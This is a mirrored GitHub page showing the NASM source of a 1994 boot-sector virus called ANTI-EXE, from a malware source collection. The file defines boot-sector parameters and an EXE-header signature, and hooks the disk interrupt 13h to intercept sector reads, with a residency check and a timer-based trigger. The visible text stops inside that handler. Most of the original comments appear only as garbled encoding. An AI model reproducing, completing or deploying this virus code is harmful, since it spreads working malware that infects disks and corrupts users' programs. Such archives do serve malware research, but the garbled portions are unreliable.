mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
461 lines
19 KiB
NASM
461 lines
19 KiB
NASM
|
;
|
|||
|
;---------------------> Boot Virus ANTI-EXE <-----------------------
|
|||
|
;
|
|||
|
;This file was written by Dentist. Copyright (C) ToothWare Lviv 1994
|
|||
|
; <20> <20><>離<EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD><EFBFBD> <20><>⥠<EFBFBD><E2A5A0><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>ᠬ (⠪<><E2A0AA> <20><> <20><>-
|
|||
|
;<3B><><EFBFBD><EFBFBD>⮬) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><EFBFBD> <20><><EFBFBD><EFBFBD>訫<EFBFBD> <20><><EFBFBD>㢠<E0AEA1><E3A2A0> ᥡ<> <20> <> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-
|
|||
|
;<3B>'<27><><EFBFBD>୨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>讣<EFBFBD> <20><><EFBFBD><EFBFBD>ᠭ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㦥 <20>ਬ<EFBFBD>⨢<EFBFBD><E2A8A2>,⮡-
|
|||
|
;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠪ <20><>ࠧ<EFBFBD><E0A0A7><EFBFBD> 䠩<> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.<2E><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>ண<EFBFBD><E0AEA3>-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>쪨 <20> <20><><EFBFBD><EFBFBD>ᠭ<EFBFBD><E1A0AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C> <20> 鮡 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>௭<EFBFBD><E0AFAD><EFBFBD>
|
|||
|
;<3B><><EFBFBD> ᥡ<> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>訢 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>쪠 䩫<><E4A9AB> <20> <20><><EFBFBD>㬥<EFBFBD><E3ACA5><EFBFBD>-
|
|||
|
;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>㦥 "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>।<EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD> <20>
|
|||
|
;<3B> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .ASM 䠩<><E4A0A9><EFBFBD> <20> <20><><EFBFBD>᭥<EFBFBD><E1ADA5><EFBFBD><EFBFBD> <><E0AEA1><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C> ⠪<><E2A0AA> <20><><EFBFBD><EFBFBD>
|
|||
|
;䠪<><E4A0AA>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>㢠<EFBFBD><E3A2A0> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><>⮢<EFBFBD><E2AEA2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ANTI-EXE.<2E><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20>㦥 <20><>-
|
|||
|
;<3B><>७<EFBFBD><E0A5AD>, <20><><EFBFBD><EFBFBD><EFBFBD> <20><EFBFBD><E0A0AF><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 直<> <20><><EFBFBD> <20><><EFBFBD> <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>. <20> <20><><EFBFBD><EFBFBD>
|
|||
|
;ᠬ<><E1A0AC><EFBFBD> <20><><EFBFBD> <20>㫠 <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>᪥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD> <20><>ᥬ<EFBFBD><E1A5AC><EFBFBD>୨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
;<3B> "<22><><EFBFBD><EFBFBD>ﭭ<EFBFBD>" <20><><EFBFBD><EFBFBD> <20>㦥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> BD . <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>㣥<EFBFBD>
|
|||
|
;直<> <20><><EFBFBD><EFBFBD>ਬ<EFBFBD><E0A8AC> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><><EFBFBD><EFBFBD>宯<EFBFBD><E5AEAF> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> 1 <20> 3 , <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0> <20><><EFBFBD><EFBFBD>㧪<EFBFBD> <20><><EFBFBD><EFBFBD>'<27><><EFBFBD><EFBFBD><EFBFBD> <20> <20>.<2E>. <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <><E0AEA1><EFBFBD> <20><>⠩<EFBFBD><E2A0A9> <20> <20><><EFBFBD>㬥<EFBFBD><E3ACA5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
;
|
|||
|
; <09> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⭨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>᭨<EFBFBD> (<28> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD>᭨<EFBFBD>, <20><> <20><><EFBFBD> <><E0AEA7><EFBFBD><EFBFBD>) <20><><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 512 <20><><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> boot-ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20><>᪥<EFBFBD><E1AAA5><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
;<3B><> <20><><EFBFBD> <20><>⠭<EFBFBD><E2A0AD> <20> <20><><EFBFBD> (int 13h,ah = 2).<2E>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭨<EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD> <20><><EFBFBD>-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0/0/13 (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F>४/ᥪ<><E1A5AA><EFBFBD>),<2C> <20><> <20><>-
|
|||
|
;᪥<><E1AAA5> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.<2E><><EFBFBD><EFBFBD>宯<EFBFBD><E5AEAF><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> int 13h ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>'<27><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪮<EFBFBD><E2AAAE><EFBFBD> <20><><EFBFBD><EFBFBD>㧪<EFBFBD> <20><> IBM - <20><><EFBFBD><EFBFBD>᭨<EFBFBD> <20><><EFBFBD><EFBFBD>'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᪫<>-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0><EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD><EFBFBD>,直<> <><E0AEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>᮫<EFBFBD>⭮<EFBFBD><E2ADAE>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0000<30>7<EFBFBD>00, <20> <20><>।<EFBFBD><E0A5A4> <20>㤨 <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD>.<2E><><EFBFBD><EFBFBD> <20><><EFBFBD>室<EFBFBD><E5AEA4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
;<3B><> <20> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20><>᪠, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
;<3B><>. <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>⮪ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <><E0AEA1><EFBFBD>
|
|||
|
;<> "<22><><EFBFBD><EFBFBD><EFBFBD>" <20><>ࠢ<EFBFBD>.
|
|||
|
; <20> ᠬ<> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 1 <20><>'<27><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<><E1ABAE> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0000:0413
|
|||
|
;<3B> <20><>᭠<EFBFBD><E1ADA0><EFBFBD>⪮<EFBFBD><E2AAAE><EFBFBD>) १<><E0A5A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⨬ ᠬ<><E1A0AC> 1 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <> <20><><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
;... to be continue
|
|||
|
;
|
|||
|
;
|
|||
|
;
|
|||
|
; <09><><EFBFBD>㬥<EFBFBD><E3ACA5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Lviv (C) 1994
|
|||
|
; <09><><EFBFBD> 13/04/94 Dentist & Ko.
|
|||
|
|
|||
|
cseg segment word public 'CODE'
|
|||
|
assume cs:cseg,ds:cseg
|
|||
|
org 0h
|
|||
|
NewVector EQU 0D3h ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 直<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>i<EFBFBD><69><EFBFBD>
|
|||
|
;<3B>i<EFBFBD>᭮<EFBFBD><E1ADAE> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> OldVector
|
|||
|
OldVector EQU 013h ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 直<> <20><>i<EFBFBD><69><EFBFBD><EFBFBD>
|
|||
|
ForSegment EQU 002h ;<3B> DWORD <20><><EFBFBD>iઠ<69> ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-
|
|||
|
ForOffset EQU 000h ;<3B><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><>i饭<69><E9A5AD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
MemSizeAdr EQU 413h ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>iન <20> ᥣ<><E1A5A3><EFBFBD><EFBFBD>i 0000 <20><> <20><><EFBFBD><EFBFBD>i<EFBFBD><69>-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <>i<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>i <20> <20>i<EFBFBD><69><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
BootOffset EQU 07C00h ;<3B> ᥣ<><E1A5A3><EFBFBD><EFBFBD>i 0000 <20><><EFBFBD><EFBFBD><EFBFBD> <20> 类<><EFAAAE> <20><><EFBFBD><EFBFBD>㦠<EFBFBD><E3A6A0><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;BOOT ᥪ<><E1A5AA><EFBFBD>
|
|||
|
|
|||
|
;*************** <20><><EFBFBD><EFBFBD>⮪ <20>i<EFBFBD><69> <20>i<EFBFBD><69><EFBFBD><EFBFBD> ****************
|
|||
|
jmp instaljator1 ;<3B><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ANTI-EXE-誠
|
|||
|
db 04Dh ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> <20><> <20><>
|
|||
|
|
|||
|
OldBoot dw ? ;<3B> <20><><EFBFBD>讬<EFBFBD> <20><><EFBFBD><EFBFBD>i <20><><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD>
|
|||
|
;<3B> <20> <20><>㣮<EFBFBD><E3A3AE> <20><><EFBFBD><EFBFBD>i <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA6>
|
|||
|
OldBootHead db ? ;<3B> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD>)
|
|||
|
;<3B><>i <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> ᥪ<><E1A5AA><EFBFBD> <20>
|
|||
|
;<3B><>ଠ<EFBFBD>쭨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>稪<EFBFBD><E7A8AA>
|
|||
|
ForFunction dw ? ;<3B><><EFBFBD> <20><><EFBFBD><EFBFBD>i<EFBFBD><69><EFBFBD><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> AX <20> 直<>
|
|||
|
;<3B>㫮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> 13h
|
|||
|
|
|||
|
;******* <20><><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> <20><>᪥<EFBFBD><E1AAA5>) ********
|
|||
|
org 0000Bh
|
|||
|
SectorSize dw 00200h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> ᥪ<><E1A5AA><EFBFBD><EFBFBD>
|
|||
|
ClusterSize db 002h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
ReservedSectors dw 00001h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>१<EFBFBD>ࢮ<EFBFBD><E0A2AE><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> (<28><>। FAT)
|
|||
|
QuantityFAT db 002h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> FAT-<2D><>
|
|||
|
RootSize dw 00070h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 32-<2D><><EFBFBD>⮢<EFBFBD><E2AEA2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><E0ADA5><EFBFBD><EFBFBD> <20><>⠫<EFBFBD><E2A0AB><EFBFBD>
|
|||
|
TotSectors dw 002D0h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> (<><E0AEA7><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
Media db 0FDh ;<3B><><EFBFBD><EFBFBD>ਯ<EFBFBD><E0A8AF><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
FATSize dw 00002h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> FAT
|
|||
|
SectorsPerTrek dw 00009h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><> <20>४<EFBFBD>
|
|||
|
QuantityHead dw 00002h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD>宭<EFBFBD>)
|
|||
|
HidenSectors dw 00000h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>客<EFBFBD><E5AEA2><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
OffsetSectorSize EQU 00Bh
|
|||
|
OffsetClusterSize EQU 00Dh
|
|||
|
OffsetReservedSectors EQU 00Eh
|
|||
|
OffsetQuantityFAT EQU 010h
|
|||
|
OffsetRootSize EQU 011h
|
|||
|
OffsetTotSectors EQU 013h
|
|||
|
OffsetMedia EQU 015h
|
|||
|
OffsetFATSize EQU 016h
|
|||
|
OffsetSectorsPerTrek EQU 018h
|
|||
|
OffsetQuantityHead EQU 01Ah
|
|||
|
OffsetHidenSectors EQU 01Ch
|
|||
|
|
|||
|
Signatura db 04Dh,05Ah,040h,000h,088h,001h,037h,00Fh,0E0h
|
|||
|
|
|||
|
;************ <20><><EFBFBD><EFBFBD><EFBFBD> <20><>稪 <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> ************
|
|||
|
New_Int13 proc far
|
|||
|
cmp ah,000F9h ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> int 13h <20> <20><>-
|
|||
|
jz End_Int13__ ;<3B><><EFBFBD><EFBFBD><EFBFBD> AH = 0F9h (<28><>猪 <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD>)
|
|||
|
;<3B><> <20><EFBFBD><E0A0AF><EFBFBD><EFBFBD><EFBFBD> ZF <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0> <20>ணࠬ<E0AEA3>.
|
|||
|
;<3B><><EFBFBD> ᠬ<><E1A0AC> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
;<3B> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
mov cs:ForFunction,ax ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>⨭<EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
int NewVector ;<3B><><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
jc End_Int13__ ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
pushf ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> <20>㫮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> AH <20><><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
cmp byte ptr cs:ForFunction[1],002h ;<3B><><EFBFBD><EFBFBD> 2 (<28>㭪<EFBFBD><E3ADAA><EFBFBD> <20><>⠭<EFBFBD><E2A0AD> ᥪ-
|
|||
|
jnz End_Int13_ ;<3B><><EFBFBD><EFBFBD>) <20><> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -- <20><><EFBFBD><EFBFBD>-
|
|||
|
;<3B><><EFBFBD> <20><> "<22><><EFBFBD><EFBFBD><EFBFBD>"
|
|||
|
|
|||
|
;************* <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ? *************
|
|||
|
push cx ;<3B><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>稬,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<22><> ⠩<><E2A0A9><EFBFBD><EFBFBD>"
|
|||
|
push si ;<3B><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>०<EFBFBD><E0A5A6> <20> <20>⥪<EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push di ;<3B><><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⮢㢠<E2AEA2><E3A2A0>
|
|||
|
push ds
|
|||
|
|
|||
|
sub cx,cx ;<3B><><EFBFBD><EFBFBD>ઠ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ᮬ 0000h:046Ch <20> <20><> <20><> <20><><EFBFBD><EFBFBD> <20><>
|
|||
|
mov ds,cx ;<3B><>稫쭨<E7A8AB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠩<><E2A0A9><EFBFBD><EFBFBD> <20><>१ <20><><EFBFBD><EFBFBD><EFBFBD> 55 mc <20> <20><><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
test byte ptr ds:[046ch],003h ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (4 <20><><EFBFBD><EFBFBD><EFBFBD>).
|
|||
|
jz NePartachyty ;<3B><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>讬<EFBFBD> <><E1ABAE> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
